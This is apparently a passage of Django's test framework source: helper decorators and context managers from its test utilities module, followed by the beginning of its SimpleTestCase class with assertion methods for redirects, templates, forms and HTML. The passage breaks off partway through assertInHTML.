            self.operations = list(kwargs.items())
        super(override_settings, self).__init__()

    def save_options(self, test_func):
        if test_func._modified_settings is None:
            test_func._modified_settings = self.operations
        else:
            # Duplicate list to prevent subclasses from altering their parent.
            test_func._modified_settings = list(
                test_func._modified_settings) + self.operations

    def enable(self):
        self.options = {}
        for name, operations in self.operations:
            try:
                # When called from SimpleTestCase.setUpClass, values may be
                # overridden several times; cumulate changes.
                value = self.options[name]
            except KeyError:
                value = list(getattr(settings, name, []))
            for action, items in operations.items():
                # items my be a single value or an iterable.
                if isinstance(items, six.string_types):
                    items = [items]
                if action == 'append':
                    value = value + [item for item in items if item not in value]
                elif action == 'prepend':
                    value = [item for item in items if item not in value] + value
                elif action == 'remove':
                    value = [item for item in value if item not in items]
                else:
                    raise ValueError("Unsupported action: %s" % action)
            self.options[name] = value
        super(modify_settings, self).enable()


class override_system_checks(TestContextDecorator):
    """
    Acts as a decorator. Overrides list of registered system checks.
    Useful when you override `INSTALLED_APPS`, e.g. if you exclude `auth` app,
    you also need to exclude its system checks.
    """
    def __init__(self, new_checks, deployment_checks=None):
        from django.core.checks.registry import registry
        self.registry = registry
        self.new_checks = new_checks
        self.deployment_checks = deployment_checks
        super(override_system_checks, self).__init__()

    def enable(self):
        self.old_checks = self.registry.registered_checks
        self.registry.registered_checks = self.new_checks
        self.old_deployment_checks = self.registry.deployment_checks
        if self.deployment_checks is not None:
            self.registry.deployment_checks = self.deployment_checks

    def disable(self):
        self.registry.registered_checks = self.old_checks
        self.registry.deployment_checks = self.old_deployment_checks


def compare_xml(want, got):
    """Tries to do a 'xml-comparison' of want and got.  Plain string
    comparison doesn't always work because, for example, attribute
    ordering should not be important. Comment nodes are not considered in the
    comparison. Leading and trailing whitespace is ignored on both chunks.

    Based on https://github.com/lxml/lxml/blob/master/src/lxml/doctestcompare.py
    """
    _norm_whitespace_re = re.compile(r'[ \t\n][ \t\n]+')

    def norm_whitespace(v):
        return _norm_whitespace_re.sub(' ', v)

    def child_text(element):
        return ''.join(c.data for c in element.childNodes
                       if c.nodeType == Node.TEXT_NODE)

    def children(element):
        return [c for c in element.childNodes
                if c.nodeType == Node.ELEMENT_NODE]

    def norm_child_text(element):
        return norm_whitespace(child_text(element))

    def attrs_dict(element):
        return dict(element.attributes.items())

    def check_element(want_element, got_element):
        if want_element.tagName != got_element.tagName:
            return False
        if norm_child_text(want_element) != norm_child_text(got_element):
            return False
        if attrs_dict(want_element) != attrs_dict(got_element):
            return False
        want_children = children(want_element)
        got_children = children(got_element)
        if len(want_children) != len(got_children):
            return False
        for want, got in zip(want_children, got_children):
            if not check_element(want, got):
                return False
        return True

    def first_node(document):
        for node in document.childNodes:
            if node.nodeType != Node.COMMENT_NODE:
                return node

    want, got = strip_quotes(want, got)
    want = want.strip().replace('\\n', '\n')
    got = got.strip().replace('\\n', '\n')

    # If the string is not a complete xml document, we may need to add a
    # root element. This allow us to compare fragments, like "<foo/><bar/>"
    if not want.startswith('<?xml'):
        wrapper = '<root>%s</root>'
        want = wrapper % want
        got = wrapper % got

    # Parse the want and got strings, and compare the parsings.
    want_root = first_node(parseString(want))
    got_root = first_node(parseString(got))

    return check_element(want_root, got_root)


def strip_quotes(want, got):
    """
    Strip quotes of doctests output values:

    >>> strip_quotes("'foo'")
    "foo"
    >>> strip_quotes('"foo"')
    "foo"
    """
    def is_quoted_string(s):
        s = s.strip()
        return len(s) >= 2 and s[0] == s[-1] and s[0] in ('"', "'")

    def is_quoted_unicode(s):
        s = s.strip()
        return len(s) >= 3 and s[0] == 'u' and s[1] == s[-1] and s[1] in ('"', "'")

    if is_quoted_string(want) and is_quoted_string(got):
        want = want.strip()[1:-1]
        got = got.strip()[1:-1]
    elif is_quoted_unicode(want) and is_quoted_unicode(got):
        want = want.strip()[2:-1]
        got = got.strip()[2:-1]
    return want, got


def str_prefix(s):
    return s % {'_': '' if six.PY3 else 'u'}


class CaptureQueriesContext(object):
    """
    Context manager that captures queries executed by the specified connection.
    """
    def __init__(self, connection):
        self.connection = connection

    def __iter__(self):
        return iter(self.captured_queries)

    def __getitem__(self, index):
        return self.captured_queries[index]

    def __len__(self):
        return len(self.captured_queries)

    @property
    def captured_queries(self):
        return self.connection.queries[self.initial_queries:self.final_queries]

    def __enter__(self):
        self.force_debug_cursor = self.connection.force_debug_cursor
        self.connection.force_debug_cursor = True
        self.initial_queries = len(self.connection.queries_log)
        self.final_queries = None
        request_started.disconnect(reset_queries)
        return self

    def __exit__(self, exc_type, exc_value, traceback):
        self.connection.force_debug_cursor = self.force_debug_cursor
        request_started.connect(reset_queries)
        if exc_type is not None:
            return
        self.final_queries = len(self.connection.queries_log)


class ignore_warnings(TestContextDecorator):
    def __init__(self, **kwargs):
        self.ignore_kwargs = kwargs
        if 'message' in self.ignore_kwargs or 'module' in self.ignore_kwargs:
            self.filter_func = warnings.filterwarnings
        else:
            self.filter_func = warnings.simplefilter
        super(ignore_warnings, self).__init__()

    def enable(self):
        self.catch_warnings = warnings.catch_warnings()
        self.catch_warnings.__enter__()
        self.filter_func('ignore', **self.ignore_kwargs)

    def disable(self):
        self.catch_warnings.__exit__(*sys.exc_info())


@contextmanager
def patch_logger(logger_name, log_level, log_kwargs=False):
    """
    Context manager that takes a named logger and the logging level
    and provides a simple mock-like list of messages received
    """
    calls = []

    def replacement(msg, *args, **kwargs):
        call = msg % args
        calls.append((call, kwargs) if log_kwargs else call)
    logger = logging.getLogger(logger_name)
    orig = getattr(logger, log_level)
    setattr(logger, log_level, replacement)
    try:
        yield calls
    finally:
        setattr(logger, log_level, orig)


# On OSes that don't provide tzset (Windows), we can't set the timezone
# in which the program runs. As a consequence, we must skip tests that
# don't enforce a specific timezone (with timezone.override or equivalent),
# or attempt to interpret naive datetimes in the default timezone.

requires_tz_support = skipUnless(
    TZ_SUPPORT,
    "This test relies on the ability to run a program in an arbitrary "
    "time zone, but your operating system isn't able to do that."
)


@contextmanager
def extend_sys_path(*paths):
    """Context manager to temporarily add paths to sys.path."""
    _orig_sys_path = sys.path[:]
    sys.path.extend(paths)
    try:
        yield
    finally:
        sys.path = _orig_sys_path


@contextmanager
def isolate_lru_cache(lru_cache_object):
    """Clear the cache of an LRU cache object on entering and exiting."""
    lru_cache_object.cache_clear()
    try:
        yield
    finally:
        lru_cache_object.cache_clear()


@contextmanager
def captured_output(stream_name):
    """Return a context manager used by captured_stdout/stdin/stderr
    that temporarily replaces the sys stream *stream_name* with a StringIO.

    Note: This function and the following ``captured_std*`` are copied
          from CPython's ``test.support`` module."""
    orig_stdout = getattr(sys, stream_name)
    setattr(sys, stream_name, six.StringIO())
    try:
        yield getattr(sys, stream_name)
    finally:
        setattr(sys, stream_name, orig_stdout)


def captured_stdout():
    """Capture the output of sys.stdout:

       with captured_stdout() as stdout:
           print("hello")
       self.assertEqual(stdout.getvalue(), "hello\n")
    """
    return captured_output("stdout")


def captured_stderr():
    """Capture the output of sys.stderr:

       with captured_stderr() as stderr:
           print("hello", file=sys.stderr)
       self.assertEqual(stderr.getvalue(), "hello\n")
    """
    return captured_output("stderr")


def captured_stdin():
    """Capture the input to sys.stdin:

       with captured_stdin() as stdin:
           stdin.write('hello\n')
           stdin.seek(0)
           # call test code that consumes from sys.stdin
           captured = input()
       self.assertEqual(captured, "hello")
    """
    return captured_output("stdin")


def reset_warning_registry():
    """
    Clear warning registry for all modules. This is required in some tests
    because of a bug in Python that prevents warnings.simplefilter("always")
    from always making warnings appear: http://bugs.python.org/issue4180

    The bug was fixed in Python 3.4.2.
    """
    key = "__warningregistry__"
    for mod in sys.modules.values():
        if hasattr(mod, key):
            getattr(mod, key).clear()


@contextmanager
def freeze_time(t):
    """
    Context manager to temporarily freeze time.time(). This temporarily
    modifies the time function of the time module. Modules which import the
    time function directly (e.g. `from time import time`) won't be affected
    This isn't meant as a public API, but helps reduce some repetitive code in
    Django's test suite.
    """
    _real_time = time.time
    time.time = lambda: t
    try:
        yield
    finally:
        time.time = _real_time


def require_jinja2(test_func):
    """
    Decorator to enable a Jinja2 template engine in addition to the regular
    Django template engine for a test or skip it if Jinja2 isn't available.
    """
    test_func = skipIf(jinja2 is None, "this test requires jinja2")(test_func)
    test_func = override_settings(TEMPLATES=[{
        'BACKEND': 'django.template.backends.django.DjangoTemplates',
        'APP_DIRS': True,
    }, {
        'BACKEND': 'django.template.backends.jinja2.Jinja2',
        'APP_DIRS': True,
        'OPTIONS': {'keep_trailing_newline': True},
    }])(test_func)
    return test_func


class override_script_prefix(TestContextDecorator):
    """
    Decorator or context manager to temporary override the script prefix.
    """
    def __init__(self, prefix):
        self.prefix = prefix
        super(override_script_prefix, self).__init__()

    def enable(self):
        self.old_prefix = get_script_prefix()
        set_script_prefix(self.prefix)

    def disable(self):
        set_script_prefix(self.old_prefix)


class LoggingCaptureMixin(object):
    """
    Capture the output from the 'django' logger and store it on the class's
    logger_output attribute.
    """
    def setUp(self):
        self.logger = logging.getLogger('django')
        self.old_stream = self.logger.handlers[0].stream
        self.logger_output = six.StringIO()
        self.logger.handlers[0].stream = self.logger_output

    def tearDown(self):
        self.logger.handlers[0].stream = self.old_stream


class isolate_apps(TestContextDecorator):
    """
    Act as either a decorator or a context manager to register models defined
    in its wrapped context to an isolated registry.

    The list of installed apps the isolated registry should contain must be
    passed as arguments.

    Two optional keyword arguments can be specified:

    `attr_name`: attribute assigned the isolated registry if used as a class
                 decorator.

    `kwarg_name`: keyword argument passing the isolated registry if used as a
                  function decorator.
    """

    def __init__(self, *installed_apps, **kwargs):
        self.installed_apps = installed_apps
        super(isolate_apps, self).__init__(**kwargs)

    def enable(self):
        self.old_apps = Options.default_apps
        apps = Apps(self.installed_apps)
        setattr(Options, 'default_apps', apps)
        return apps

    def disable(self):
        setattr(Options, 'default_apps', self.old_apps)


def tag(*tags):
    """
    Decorator to add tags to a test class or method.
    """
    def decorator(obj):
        setattr(obj, 'tags', set(tags))
        return obj
    return decorator






from __future__ import unicode_literals

import difflib
import json
import posixpath
import sys
import threading
import unittest
import warnings
from collections import Counter
from contextlib import contextmanager
from copy import copy
from functools import wraps
from unittest.util import safe_repr

from django.apps import apps
from django.conf import settings
from django.core import mail
from django.core.exceptions import ValidationError
from django.core.files import locks
from django.core.handlers.wsgi import WSGIHandler, get_path_info
from django.core.management import call_command
from django.core.management.color import no_style
from django.core.management.sql import emit_post_migrate_signal
from django.core.servers.basehttp import WSGIRequestHandler, WSGIServer
from django.db import DEFAULT_DB_ALIAS, connection, connections, transaction
from django.forms.fields import CharField
from django.http import QueryDict
from django.http.request import split_domain_port, validate_host
from django.test.client import Client
from django.test.html import HTMLParseError, parse_html
from django.test.signals import setting_changed, template_rendered
from django.test.utils import (
    CaptureQueriesContext, ContextList, compare_xml, modify_settings,
    override_settings,
)
from django.utils import six
from django.utils.decorators import classproperty
from django.utils.deprecation import RemovedInDjango20Warning
from django.utils.encoding import force_text
from django.utils.six.moves.urllib.parse import (
    unquote, urljoin, urlparse, urlsplit, urlunsplit,
)
from django.utils.six.moves.urllib.request import url2pathname
from django.views.static import serve

__all__ = ('TestCase', 'TransactionTestCase',
           'SimpleTestCase', 'skipIfDBFeature', 'skipUnlessDBFeature')


def to_list(value):
    """
    Puts value into a list if it's not already one.
    Returns an empty list if value is None.
    """
    if value is None:
        value = []
    elif not isinstance(value, list):
        value = [value]
    return value


def assert_and_parse_html(self, html, user_msg, msg):
    try:
        dom = parse_html(html)
    except HTMLParseError as e:
        standardMsg = '%s\n%s' % (msg, e)
        self.fail(self._formatMessage(user_msg, standardMsg))
    return dom


class _AssertNumQueriesContext(CaptureQueriesContext):
    def __init__(self, test_case, num, connection):
        self.test_case = test_case
        self.num = num
        super(_AssertNumQueriesContext, self).__init__(connection)

    def __exit__(self, exc_type, exc_value, traceback):
        super(_AssertNumQueriesContext, self).__exit__(exc_type, exc_value, traceback)
        if exc_type is not None:
            return
        executed = len(self)
        self.test_case.assertEqual(
            executed, self.num,
            "%d queries executed, %d expected\nCaptured queries were:\n%s" % (
                executed, self.num,
                '\n'.join(
                    query['sql'] for query in self.captured_queries
                )
            )
        )


class _AssertTemplateUsedContext(object):
    def __init__(self, test_case, template_name):
        self.test_case = test_case
        self.template_name = template_name
        self.rendered_templates = []
        self.rendered_template_names = []
        self.context = ContextList()

    def on_template_render(self, sender, signal, template, context, **kwargs):
        self.rendered_templates.append(template)
        self.rendered_template_names.append(template.name)
        self.context.append(copy(context))

    def test(self):
        return self.template_name in self.rendered_template_names

    def message(self):
        return '%s was not rendered.' % self.template_name

    def __enter__(self):
        template_rendered.connect(self.on_template_render)
        return self

    def __exit__(self, exc_type, exc_value, traceback):
        template_rendered.disconnect(self.on_template_render)
        if exc_type is not None:
            return

        if not self.test():
            message = self.message()
            if len(self.rendered_templates) == 0:
                message += ' No template was rendered.'
            else:
                message += ' Following templates were rendered: %s' % (
                    ', '.join(self.rendered_template_names))
            self.test_case.fail(message)


class _AssertTemplateNotUsedContext(_AssertTemplateUsedContext):
    def test(self):
        return self.template_name not in self.rendered_template_names

    def message(self):
        return '%s was rendered.' % self.template_name


class _CursorFailure(object):
    def __init__(self, cls_name, wrapped):
        self.cls_name = cls_name
        self.wrapped = wrapped

    def __call__(self):
        raise AssertionError(
            "Database queries aren't allowed in SimpleTestCase. "
            "Either use TestCase or TransactionTestCase to ensure proper test isolation or "
            "set %s.allow_database_queries to True to silence this failure." % self.cls_name
        )


class SimpleTestCase(unittest.TestCase):

    # The class we'll use for the test client self.client.
    # Can be overridden in derived classes.
    client_class = Client
    _overridden_settings = None
    _modified_settings = None

    # Tests shouldn't be allowed to query the database since
    # this base class doesn't enforce any isolation.
    allow_database_queries = False

    @classmethod
    def setUpClass(cls):
        super(SimpleTestCase, cls).setUpClass()
        if cls._overridden_settings:
            cls._cls_overridden_context = override_settings(**cls._overridden_settings)
            cls._cls_overridden_context.enable()
        if cls._modified_settings:
            cls._cls_modified_context = modify_settings(cls._modified_settings)
            cls._cls_modified_context.enable()
        if not cls.allow_database_queries:
            for alias in connections:
                connection = connections[alias]
                connection.cursor = _CursorFailure(cls.__name__, connection.cursor)

    @classmethod
    def tearDownClass(cls):
        if not cls.allow_database_queries:
            for alias in connections:
                connection = connections[alias]
                connection.cursor = connection.cursor.wrapped
        if hasattr(cls, '_cls_modified_context'):
            cls._cls_modified_context.disable()
            delattr(cls, '_cls_modified_context')
        if hasattr(cls, '_cls_overridden_context'):
            cls._cls_overridden_context.disable()
            delattr(cls, '_cls_overridden_context')
        super(SimpleTestCase, cls).tearDownClass()

    def __call__(self, result=None):
        """
        Wrapper around default __call__ method to perform common Django test
        set up. This means that user-defined Test Cases aren't required to
        include a call to super().setUp().
        """
        testMethod = getattr(self, self._testMethodName)
        skipped = (
            getattr(self.__class__, "__unittest_skip__", False) or
            getattr(testMethod, "__unittest_skip__", False)
        )

        if not skipped:
            try:
                self._pre_setup()
            except Exception:
                result.addError(self, sys.exc_info())
                return
        super(SimpleTestCase, self).__call__(result)
        if not skipped:
            try:
                self._post_teardown()
            except Exception:
                result.addError(self, sys.exc_info())
                return

    def _pre_setup(self):
        """Performs any pre-test setup. This includes:

        * Creating a test client.
        * Clearing the mail test outbox.
        """
        self.client = self.client_class()
        mail.outbox = []

    def _post_teardown(self):
        """Perform any post-test things."""
        pass

    def settings(self, **kwargs):
        """
        A context manager that temporarily sets a setting and reverts to the original value when exiting the context.
        """
        return override_settings(**kwargs)

    def modify_settings(self, **kwargs):
        """
        A context manager that temporarily applies changes a list setting and
        reverts back to the original value when exiting the context.
        """
        return modify_settings(**kwargs)

    def assertRedirects(self, response, expected_url, status_code=302,
                        target_status_code=200, host=None, msg_prefix='',
                        fetch_redirect_response=True):
        """Asserts that a response redirected to a specific URL, and that the
        redirect URL can be loaded.

        Note that assertRedirects won't work for external links since it uses
        TestClient to do a request (use fetch_redirect_response=False to check
        such links without fetching them).
        """
        if host is not None:
            warnings.warn(
                "The host argument is deprecated and no longer used by assertRedirects",
                RemovedInDjango20Warning, stacklevel=2
            )

        if msg_prefix:
            msg_prefix += ": "

        if hasattr(response, 'redirect_chain'):
            # The request was a followed redirect
            self.assertTrue(
                len(response.redirect_chain) > 0,
                msg_prefix + "Response didn't redirect as expected: Response code was %d (expected %d)"
                % (response.status_code, status_code)
            )

            self.assertEqual(
                response.redirect_chain[0][1], status_code,
                msg_prefix + "Initial response didn't redirect as expected: Response code was %d (expected %d)"
                % (response.redirect_chain[0][1], status_code)
            )

            url, status_code = response.redirect_chain[-1]
            scheme, netloc, path, query, fragment = urlsplit(url)

            self.assertEqual(
                response.status_code, target_status_code,
                msg_prefix + "Response didn't redirect as expected: Final Response code was %d (expected %d)"
                % (response.status_code, target_status_code)
            )

        else:
            # Not a followed redirect
            self.assertEqual(
                response.status_code, status_code,
                msg_prefix + "Response didn't redirect as expected: Response code was %d (expected %d)"
                % (response.status_code, status_code)
            )

            url = response.url
            scheme, netloc, path, query, fragment = urlsplit(url)

            # Prepend the request path to handle relative path redirects.
            if not path.startswith('/'):
                url = urljoin(response.request['PATH_INFO'], url)
                path = urljoin(response.request['PATH_INFO'], path)

            if fetch_redirect_response:
                # netloc might be empty, or in cases where Django tests the
                # HTTP scheme, the convention is for netloc to be 'testserver'.
                # Trust both as "internal" URLs here.
                domain, port = split_domain_port(netloc)
                if domain and not validate_host(domain, settings.ALLOWED_HOSTS):
                    raise ValueError(
                        "The test client is unable to fetch remote URLs (got %s). "
                        "If the host is served by Django, add '%s' to ALLOWED_HOSTS. "
                        "Otherwise, use assertRedirects(..., fetch_redirect_response=False)."
                        % (url, domain)
                    )
                redirect_response = response.client.get(path, QueryDict(query), secure=(scheme == 'https'))

                # Get the redirection page, using the same client that was used
                # to obtain the original response.
                self.assertEqual(
                    redirect_response.status_code, target_status_code,
                    msg_prefix + "Couldn't retrieve redirection page '%s': response code was %d (expected %d)"
                    % (path, redirect_response.status_code, target_status_code)
                )

        if url != expected_url:
            # For temporary backwards compatibility, try to compare with a relative url
            e_scheme, e_netloc, e_path, e_query, e_fragment = urlsplit(expected_url)
            relative_url = urlunsplit(('', '', e_path, e_query, e_fragment))
            if url == relative_url:
                warnings.warn(
                    "assertRedirects had to strip the scheme and domain from the "
                    "expected URL, as it was always added automatically to URLs "
                    "before Django 1.9. Please update your expected URLs by "
                    "removing the scheme and domain.",
                    RemovedInDjango20Warning, stacklevel=2)
                expected_url = relative_url

        self.assertEqual(
            url, expected_url,
            msg_prefix + "Response redirected to '%s', expected '%s'" % (url, expected_url)
        )

    def _assert_contains(self, response, text, status_code, msg_prefix, html):
        # If the response supports deferred rendering and hasn't been rendered
        # yet, then ensure that it does get rendered before proceeding further.
        if hasattr(response, 'render') and callable(response.render) and not response.is_rendered:
            response.render()

        if msg_prefix:
            msg_prefix += ": "

        self.assertEqual(
            response.status_code, status_code,
            msg_prefix + "Couldn't retrieve content: Response code was %d"
            " (expected %d)" % (response.status_code, status_code)
        )

        if response.streaming:
            content = b''.join(response.streaming_content)
        else:
            content = response.content
        if not isinstance(text, bytes) or html:
            text = force_text(text, encoding=response.charset)
            content = content.decode(response.charset)
            text_repr = "'%s'" % text
        else:
            text_repr = repr(text)
        if html:
            content = assert_and_parse_html(self, content, None, "Response's content is not valid HTML:")
            text = assert_and_parse_html(self, text, None, "Second argument is not valid HTML:")
        real_count = content.count(text)
        return (text_repr, real_count, msg_prefix)

    def assertContains(self, response, text, count=None, status_code=200, msg_prefix='', html=False):
        """
        Asserts that a response indicates that some content was retrieved
        successfully, (i.e., the HTTP status code was as expected), and that
        ``text`` occurs ``count`` times in the content of the response.
        If ``count`` is None, the count doesn't matter - the assertion is true
        if the text occurs at least once in the response.
        """
        text_repr, real_count, msg_prefix = self._assert_contains(
            response, text, status_code, msg_prefix, html)

        if count is not None:
            self.assertEqual(
                real_count, count,
                msg_prefix + "Found %d instances of %s in response (expected %d)" % (real_count, text_repr, count)
            )
        else:
            self.assertTrue(real_count != 0, msg_prefix + "Couldn't find %s in response" % text_repr)

    def assertNotContains(self, response, text, status_code=200, msg_prefix='', html=False):
        """
        Asserts that a response indicates that some content was retrieved
        successfully, (i.e., the HTTP status code was as expected), and that
        ``text`` doesn't occurs in the content of the response.
        """
        text_repr, real_count, msg_prefix = self._assert_contains(
            response, text, status_code, msg_prefix, html)

        self.assertEqual(real_count, 0, msg_prefix + "Response should not contain %s" % text_repr)

    def assertFormError(self, response, form, field, errors, msg_prefix=''):
        """
        Asserts that a form used to render the response has a specific field
        error.
        """
        if msg_prefix:
            msg_prefix += ": "

        # Put context(s) into a list to simplify processing.
        contexts = to_list(response.context)
        if not contexts:
            self.fail(msg_prefix + "Response did not use any contexts to render the response")

        # Put error(s) into a list to simplify processing.
        errors = to_list(errors)

        # Search all contexts for the error.
        found_form = False
        for i, context in enumerate(contexts):
            if form not in context:
                continue
            found_form = True
            for err in errors:
                if field:
                    if field in context[form].errors:
                        field_errors = context[form].errors[field]
                        self.assertTrue(
                            err in field_errors,
                            msg_prefix + "The field '%s' on form '%s' in"
                            " context %d does not contain the error '%s'"
                            " (actual errors: %s)" %
                            (field, form, i, err, repr(field_errors))
                        )
                    elif field in context[form].fields:
                        self.fail(
                            msg_prefix + "The field '%s' on form '%s' in context %d contains no errors" %
                            (field, form, i)
                        )
                    else:
                        self.fail(
                            msg_prefix + "The form '%s' in context %d does not contain the field '%s'" %
                            (form, i, field)
                        )
                else:
                    non_field_errors = context[form].non_field_errors()
                    self.assertTrue(
                        err in non_field_errors,
                        msg_prefix + "The form '%s' in context %d does not"
                        " contain the non-field error '%s'"
                        " (actual errors: %s)" %
                        (form, i, err, non_field_errors)
                    )
        if not found_form:
            self.fail(msg_prefix + "The form '%s' was not used to render the response" % form)

    def assertFormsetError(self, response, formset, form_index, field, errors,
                           msg_prefix=''):
        """
        Asserts that a formset used to render the response has a specific error.

        For field errors, specify the ``form_index`` and the ``field``.
        For non-field errors, specify the ``form_index`` and the ``field`` as
        None.
        For non-form errors, specify ``form_index`` as None and the ``field``
        as None.
        """
        # Add punctuation to msg_prefix
        if msg_prefix:
            msg_prefix += ": "

        # Put context(s) into a list to simplify processing.
        contexts = to_list(response.context)
        if not contexts:
            self.fail(msg_prefix + 'Response did not use any contexts to '
                      'render the response')

        # Put error(s) into a list to simplify processing.
        errors = to_list(errors)

        # Search all contexts for the error.
        found_formset = False
        for i, context in enumerate(contexts):
            if formset not in context:
                continue
            found_formset = True
            for err in errors:
                if field is not None:
                    if field in context[formset].forms[form_index].errors:
                        field_errors = context[formset].forms[form_index].errors[field]
                        self.assertTrue(
                            err in field_errors,
                            msg_prefix + "The field '%s' on formset '%s', "
                            "form %d in context %d does not contain the "
                            "error '%s' (actual errors: %s)" %
                            (field, formset, form_index, i, err, repr(field_errors))
                        )
                    elif field in context[formset].forms[form_index].fields:
                        self.fail(
                            msg_prefix + "The field '%s' on formset '%s', form %d in context %d contains no errors"
                            % (field, formset, form_index, i)
                        )
                    else:
                        self.fail(
                            msg_prefix + "The formset '%s', form %d in context %d does not contain the field '%s'"
                            % (formset, form_index, i, field)
                        )
                elif form_index is not None:
                    non_field_errors = context[formset].forms[form_index].non_field_errors()
                    self.assertFalse(
                        len(non_field_errors) == 0,
                        msg_prefix + "The formset '%s', form %d in context %d "
                        "does not contain any non-field errors." % (formset, form_index, i)
                    )
                    self.assertTrue(
                        err in non_field_errors,
                        msg_prefix + "The formset '%s', form %d in context %d "
                        "does not contain the non-field error '%s' (actual errors: %s)"
                        % (formset, form_index, i, err, repr(non_field_errors))
                    )
                else:
                    non_form_errors = context[formset].non_form_errors()
                    self.assertFalse(
                        len(non_form_errors) == 0,
                        msg_prefix + "The formset '%s' in context %d does not "
                        "contain any non-form errors." % (formset, i)
                    )
                    self.assertTrue(
                        err in non_form_errors,
                        msg_prefix + "The formset '%s' in context %d does not "
                        "contain the non-form error '%s' (actual errors: %s)"
                        % (formset, i, err, repr(non_form_errors))
                    )
        if not found_formset:
            self.fail(msg_prefix + "The formset '%s' was not used to render the response" % formset)

    def _assert_template_used(self, response, template_name, msg_prefix):

        if response is None and template_name is None:
            raise TypeError('response and/or template_name argument must be provided')

        if msg_prefix:
            msg_prefix += ": "

        if template_name is not None and response is not None and not hasattr(response, 'templates'):
            raise ValueError(
                "assertTemplateUsed() and assertTemplateNotUsed() are only "
                "usable on responses fetched using the Django test Client."
            )

        if not hasattr(response, 'templates') or (response is None and template_name):
            if response:
                template_name = response
                response = None
            # use this template with context manager
            return template_name, None, msg_prefix

        template_names = [t.name for t in response.templates if t.name is not None]
        return None, template_names, msg_prefix

    def assertTemplateUsed(self, response=None, template_name=None, msg_prefix='', count=None):
        """
        Asserts that the template with the provided name was used in rendering
        the response. Also usable as context manager.
        """
        context_mgr_template, template_names, msg_prefix = self._assert_template_used(
            response, template_name, msg_prefix)

        if context_mgr_template:
            # Use assertTemplateUsed as context manager.
            return _AssertTemplateUsedContext(self, context_mgr_template)

        if not template_names:
            self.fail(msg_prefix + "No templates used to render the response")
        self.assertTrue(
            template_name in template_names,
            msg_prefix + "Template '%s' was not a template used to render"
            " the response. Actual template(s) used: %s"
            % (template_name, ', '.join(template_names))
        )

        if count is not None:
            self.assertEqual(
                template_names.count(template_name), count,
                msg_prefix + "Template '%s' was expected to be rendered %d "
                "time(s) but was actually rendered %d time(s)."
                % (template_name, count, template_names.count(template_name))
            )

    def assertTemplateNotUsed(self, response=None, template_name=None, msg_prefix=''):
        """
        Asserts that the template with the provided name was NOT used in
        rendering the response. Also usable as context manager.
        """
        context_mgr_template, template_names, msg_prefix = self._assert_template_used(
            response, template_name, msg_prefix
        )
        if context_mgr_template:
            # Use assertTemplateNotUsed as context manager.
            return _AssertTemplateNotUsedContext(self, context_mgr_template)

        self.assertFalse(
            template_name in template_names,
            msg_prefix + "Template '%s' was used unexpectedly in rendering the response" % template_name
        )

    @contextmanager
    def _assert_raises_message_cm(self, expected_exception, expected_message):
        with self.assertRaises(expected_exception) as cm:
            yield cm
        self.assertIn(expected_message, str(cm.exception))

    def assertRaisesMessage(self, expected_exception, expected_message, *args, **kwargs):
        """
        Asserts that expected_message is found in the the message of a raised
        exception.

        Args:
            expected_exception: Exception class expected to be raised.
            expected_message: expected error message string value.
            args: Function to be called and extra positional args.
            kwargs: Extra kwargs.
        """
        # callable_obj was a documented kwarg in Django 1.8 and older.
        callable_obj = kwargs.pop('callable_obj', None)
        if callable_obj:
            warnings.warn(
                'The callable_obj kwarg is deprecated. Pass the callable '
                'as a positional argument instead.', RemovedInDjango20Warning
            )
        elif len(args):
            callable_obj = args[0]
            args = args[1:]

        cm = self._assert_raises_message_cm(expected_exception, expected_message)
        # Assertion used in context manager fashion.
        if callable_obj is None:
            return cm
        # Assertion was passed a callable.
        with cm:
            callable_obj(*args, **kwargs)

    def assertFieldOutput(self, fieldclass, valid, invalid, field_args=None,
                          field_kwargs=None, empty_value=''):
        """
        Asserts that a form field behaves correctly with various inputs.

        Args:
            fieldclass: the class of the field to be tested.
            valid: a dictionary mapping valid inputs to their expected
                    cleaned values.
            invalid: a dictionary mapping invalid inputs to one or more
                    raised error messages.
            field_args: the args passed to instantiate the field
            field_kwargs: the kwargs passed to instantiate the field
            empty_value: the expected clean output for inputs in empty_values
        """
        if field_args is None:
            field_args = []
        if field_kwargs is None:
            field_kwargs = {}
        required = fieldclass(*field_args, **field_kwargs)
        optional = fieldclass(*field_args, **dict(field_kwargs, required=False))
        # test valid inputs
        for input, output in valid.items():
            self.assertEqual(required.clean(input), output)
            self.assertEqual(optional.clean(input), output)
        # test invalid inputs
        for input, errors in invalid.items():
            with self.assertRaises(ValidationError) as context_manager:
                required.clean(input)
            self.assertEqual(context_manager.exception.messages, errors)

            with self.assertRaises(ValidationError) as context_manager:
                optional.clean(input)
            self.assertEqual(context_manager.exception.messages, errors)
        # test required inputs
        error_required = [force_text(required.error_messages['required'])]
        for e in required.empty_values:
            with self.assertRaises(ValidationError) as context_manager:
                required.clean(e)
            self.assertEqual(context_manager.exception.messages, error_required)
            self.assertEqual(optional.clean(e), empty_value)
        # test that max_length and min_length are always accepted
        if issubclass(fieldclass, CharField):
            field_kwargs.update({'min_length': 2, 'max_length': 20})
            self.assertIsInstance(fieldclass(*field_args, **field_kwargs), fieldclass)

    def assertHTMLEqual(self, html1, html2, msg=None):
        """
        Asserts that two HTML snippets are semantically the same.
        Whitespace in most cases is ignored, and attribute ordering is not
        significant. The passed-in arguments must be valid HTML.
        """
        dom1 = assert_and_parse_html(self, html1, msg, 'First argument is not valid HTML:')
        dom2 = assert_and_parse_html(self, html2, msg, 'Second argument is not valid HTML:')

        if dom1 != dom2:
            standardMsg = '%s != %s' % (
                safe_repr(dom1, True), safe_repr(dom2, True))
            diff = ('\n' + '\n'.join(difflib.ndiff(
                six.text_type(dom1).splitlines(),
                six.text_type(dom2).splitlines(),
            )))
            standardMsg = self._truncateMessage(standardMsg, diff)
            self.fail(self._formatMessage(msg, standardMsg))

    def assertHTMLNotEqual(self, html1, html2, msg=None):
        """Asserts that two HTML snippets are not semantically equivalent."""
        dom1 = assert_and_parse_html(self, html1, msg, 'First argument is not valid HTML:')
        dom2 = assert_and_parse_html(self, html2, msg, 'Second argument is not valid HTML:')

        if dom1 == dom2:
            standardMsg = '%s == %s' % (
                safe_repr(dom1, True), safe_repr(dom2, True))
            self.fail(self._formatMessage(msg, standardMsg))

    def assertInHTML(self, needle, haystack, count=None, msg_prefix=''):
        needle = assert_and_parse_html(self, needle, None, 'First argument is not valid HTML:')
        haystack = assert_and_parse_html(self, haystack, None, 'Second argument is not valid HTML:')
        real_count = haystack.count(needle)
        if count is not None:
            self.assertEqual(
                real_count, count,
                msg_prefix + "Found %d instances of '%s' in response (expected %d)" % (real_count, needle, count)
            )
        else:
